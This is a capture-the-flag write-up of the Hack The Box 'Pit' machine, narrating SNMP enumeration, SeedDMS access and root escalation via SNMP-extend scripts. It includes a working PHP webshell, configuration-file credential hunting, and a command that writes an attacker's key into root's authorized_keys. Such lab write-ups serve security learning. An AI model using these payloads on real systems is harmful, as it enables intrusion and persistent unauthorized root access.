Pit Writeup [HTB]
Pit is a Linux based machine that was active since May 15th of 2021 to September 25th, on this machine we will get some useful information from SNMP, but we will need to search out of the common OID tree that snmpwalk searches by default, with that information we will access to a SeedDMS instance that has a vulnerability that will allows us to get code execution, SELinux will make imposible to get a reverse shell with this vulnerability, so working through a web shell we will get some credentials that will allow us to access to Cockpit that is running on the machine, once inside the machine we will find out why we get output outside of the common SNMP tree, put a file that SNMP will run for us and get access as root.
Enumeration
We start using masscan to find all the available ports and then use nmap to get more information about them.
masscan -e tun0 --rate=500 -p 0-65535 10.10.10.241
nmap -sC -sV -p 80,22,9090, -Pn -o scan.txt 10.129.72.205
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
We have three ports open, SSH, HTTP and since it responses to ssl-cert, HTTPS may be running on port 9090, let’s start visiting the webpage on port 80.
There we see the default page for nginxfor RedHat, so maybe the machine is running RedHat or a distribution based on it. The nmap showed us the domain dms-pit.htb, so we add it to our hosts file and revisit the site to see if we find any change.
As we see we are not allowed to see that site, we will leave feroxbuster running in the background, maybe it will find something, while we leave the tool doing its work we go to port 9090.
On that port we find a login page for something related to Centos, so the machine is running Centos, we use whatweb to see if it give us any information about the site.
It tells us that there is a cookie named “cockpit”, googling it we find that the machine is running Cockpit, but we can’t see anything else that could be useful. After running out of ideas we go for the UDP ports, we use nmap to see if snmp if running on the machine.
As we see we get some responses, so now we use onesixtyone to find which community strings it is answering to.
It is only aswering to “public” string, before running snmpwalk, to get a more understandable output we install snmp-mibs-downloader, apt install snmp-mibs-downloader, and comment the line that says “mibs :”, on /etc/snmp/snmp.conf, so now we can run snmpwalk and see if we get anything interesting, snmpwalk -v 2c -c public 10.10.10.241, again we get nothing, well let’s check the man of snmpwalk to see what it does.
It says that by default it starts in SNMPv2-SMI::mib-2, the problem here is that SNMP Object Identifiers work in a tree structure, and by default snmpwalk doesn’t start in the root of it, but on 1.3.6.1.2.1, here you can navigate over the tree of OIDs, and here are some explanations of what they mean, this makes snmpwalk to miss any information that is out of that part of the tree, so to fix that we indicate that we want to start from the root of the tree, snmpwalk -v 2c -c public 10.10.10.241 1. With that we get some more information, first the exact version of the OS, it’s Centos 8.3.2011, then we get a username, michelle.
Also we get an interesting directory, seeddms.
Now that we now a valid directory let’s try access to it, http://dms-pit.htb/seeddms51x/seeddms/, and then we are redirected to the login page of a seeddms instance.
Getting Command Execution
If we try “michelle” as user and password we can access to the site.
There we see a note set by the administrator, let’s see what it says.
The note says that he updated the site from version 5.1.10 to 5.1.15, let’s see what searchsploit tells us.
It’s not our lucky day, there is a Remote Command Execution vulnerability on version 5.1.11, but it seems patched now, but, is it? What if the administrator is just sending the note, but isn’t actually doing his work, so let’s try that vulnerability anyways. We navigate to a folder where we have permissions, and upload our webshell, which is the most simple webshell possible.
<?php
system($_GET['subterranean']);
?>
On this case the id of our file is 32, so we can get command execution going to “http://dms-pit.htb/seeddms51x/data/1048576/32/1.php?subterranean=”, there is task running that cleans the files every some minutes, so to avoid having to upload our file many times we can copy it to another directory and work with it.
Gaining Access
I didn’t point it out on the snmp output, but the system seems running with SELinux enabled, so I wasn’t able to get a reverse shell and had to work with the webshell. As always we start by looking for configuration files, according to the github repository of SeedDMS, the configuration file is called “settings.xml”, so let’s use find to locate it.
There are two files called like that, one is older, so let’s check the newer one, I saved it to a file and opened it with firefox to make easier to read the file, there we find the password of the database.
This password is actually the password of michelle user too, but we can only access to ssh using ssh keys, luckily we can use cockpit to access to a terminal and retrieve user.txt, firefox has problems accessing to it, so we have to use google chrome or another browser.
Privilege Escalation
Now we have to go to our snmp output again, there was another program running on the machine, monitor.
We see that it’s no more than a bash script, and that what it does is to run every script that is located in /usr/local/monitoring/ that starts with “check” and ends with “sh”, so let’s see if we have any rights on that directory.
We find out that only user and group root have permissions on that directory, but the plus sign tells us that it has extended rights, so we use getfacl to see them, and we see that michelle user has rights to write and execute on it. Now let’s start by asking us, why did we have snmp values out of the normal tree?, searching about them we get to some documentation on redhat site, there we see that the output of snmp can be extended with shell scripts, so it’s likely that what we got were the output of the scripts that are inside that directory, we don’t want to walk over all the tree to get our file executed, so reading more we find out that the tree location of the extended object is at NET-SNMP-EXTEND-MIB::nsExtendObjects, so we just need to run snmpwalk -v 2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects and our script will be executed, so let’s put a file with “id” command and see if we get the output over snmp.
Now let’s generate a pair of ssh keys, ssh-keygen -C root@pit.htb, and let’s make the system add our public keys on the authorized keys for root,
echo 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD5/9Mp6ELYVdv+m/3ZwtY5taGN/q7RaX59UJfEweDi04dGxY0LNzzGFEo//
QYKtGdZAGx833lM8WMoq1welVcyxKW65WUWs2u7CJfDsjfAns7VkbtEQiUZXgKpdUW6aulF06jbTwPjMS8rwxXDD8PU526/VakN+YXrseyck9gaK3PmeyJbg0e3cFmWV6ZZ29V0XESE0nSeqhtYXG
+vOyS74PYIcqMBGcXPc2q1PXzN3bUA69XxLFS6Jo3rROsMt2tAVYm8Hn7l1eEZdzNvpR5HWKdM/
WbJju5hSoLdYzWibnKjwHoGTWMKS1L4MGtBGC8F8DV4Orp84e6GyewZ7WRLlmnRDw8O6l3ovIhfHedlsyz94nlCGkBWOtdVkFDLHr4hrBTID7sxcQ8MAHgHROKiYftnugAqjMNN5wirB9pzEkgm2Z586nh05yHX4K9k7RRW
KzS/SVJ9GxTfh/F4DDThcjJh6w7voGT+aGs2P2iaodeEuEbwDIuHRYSDvhV65B8= root@pit.htb" > /root/.ssh/authorized_keys' > /usr/local/monitoring/checkshellsh
after we run snmpwalk we will be able to access with our key and finish with the machine.
